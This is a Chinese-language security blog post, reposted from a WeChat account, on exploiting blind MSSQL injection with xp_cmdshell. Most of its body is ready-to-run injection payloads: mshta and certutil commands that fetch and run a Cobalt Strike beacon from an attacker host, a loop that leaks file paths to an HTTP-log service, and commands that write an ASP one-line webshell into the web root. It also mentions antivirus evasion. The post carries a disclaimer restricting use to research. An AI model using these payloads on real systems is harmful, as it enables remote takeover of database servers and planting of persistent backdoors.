MSSQL注入之无回显利用思路

admin 2025年2月15日09:25:06评论10 views字数 2013阅读6分42秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

前段时间在先知社区里看到“一次另类的mssql渗透之路”一文:一个MSSQL高权限注入点,可通过xp_cmdshell执行命令,但是没有回显信息。

sqlmap注入会导致网站奔溃,手注直接执行CS马也失败了,也没能爆出网站的绝对路径,所以暂时无法写入Webshell,大概情况就是这样。

MSSQL注入之无回显利用思路

作者最终的利用思路如下图,但因找不到绝对路径、执行命令无回显,也不能用dnslog将绝对路径外带出来、往中文路径写马等问题导致整个过程很是复杂。

MSSQL注入之无回显利用思路

所以就想着根据作者所遇到的这种场景去找些更为简单的利用方式,写马至中文路径可参考我之前写的:MSSQL高权限注入写马至中文路径

0x02 远程执行方式上线

遇到类似场景时先确定是否能够通过xp_cmdshell、sp_oacreate等方式执行命令,使用dnslog或httplog等外带方式测试是否可以出网???

如果都没问题则可以用这种远程执行方式来上线CS/MSF,可利用的远程执行方式还有很多,这里只以这种最为简单的mshta.exe来做演示。

;exec master..xp_cmdshell "cmd /c ping ******.dnslog.cn";exec master..xp_cmdshell "cmd /c mshta http://192.168.1.105:8080/evil.hta"

MSSQL注入之无回显利用思路

从上图中我们可以看到在语句执行完成后虽然出现了“超时时间已到。在操作完成之前超时时间已过或服务器未响应。”这个报错,但这可能只是我测试环境的问题,并不会影响CS马的正常执行和上线。

MSSQL注入之无回显利用思路

注:作者在文中提到的CS Powershell Payload单引号导致语句执行失败的问题应该是可以解决的,只需注意下执行语句中的单、双引号即可,还有过杀软等防护的免杀问题,有兴趣的可以自己去测试一下。

0x03 文件落地方式上线

了以上方式,我们还可以使用以下这些文件落地方式来上线CS/MSF,但前提是得提前准备好一个免杀的CS木马供远程下载和执行,否则也会被查杀和拦截。

Mshta/Certutil/Bitsadmin/Powershell/MpCmdRun
;exec master..xp_cmdshell "cmd /c certutil -urlcache -split -f http://192.168.1.105:8080/beacon.exe C:ProgramDatabeacon.exe";exec master..xp_cmdshell "cmd /c C:ProgramDatabeacon.exe"

MSSQL注入之无回显利用思路

MSSQL注入之无回显利用思路

注:实战中这个注入没有回显,所以暂无法确定这个文件是否已经成功落地到磁盘中,不过我们可以通过执行以下命令来确定文件是否存在,使用httplog方式将执行结果给外带出来,有则存在,无则不存在。

同时我们也可以通过使用这种方式将找到的网站绝对路径给外带出来,http://ceye.io

;exec master..xp_cmdshell 'cmd /c for /r C:ProgramData %i in (beacon.exe*) do certutil -urlcache -split -f http://******.ceye.io/%i'

MSSQL注入之无回显利用思路

MSSQL注入之无回显利用思路

0x04 获取绝对路径Getshell

我们在实战中有时也会遇到无回显、不出网的场景,这时可以先去尝试通过404或文件报错页来获取网站的绝对路径,如果不行再去执行以下命令将找到的路径写入Web目录下,然后再去写入Webshell。

;exec master..xp_cmdshell 'for /r C: %i in (1653042293000.png*) do echo %i> %i..path.txt';exec master..xp_cmdshell 'echo ^<%execute request("1")%^> >C:inetpubwwwrootuploadshell.asp'

MSSQL注入之无回显利用思路

MSSQL注入之无回显利用思路

或者可以通过执行以下命令在查找绝对路径的同时写入Webshell,在指定的C盘中循环查找某某文件,将找到的绝对路径保存在%i变量中,../是返回上级目录,如果有找到那个文件就往里边写入一个shell.asp。

for /r C: %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp

MSSQL注入之无回显利用思路

注:本地测试中发现在执行以上两条命令时不能带有cmd /c,如果有则可能会执行失败,文件写不进去,但不确定在实战测试中是咋样的,所以这里我仅提供一个思路,大家还得根据实际场景进行测试吧。

原文始发于微信公众号(潇湘信安):MSSQL注入之无回显利用思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日09:25:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL注入之无回显利用思路http://cn-sec.com/archives/1051603.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息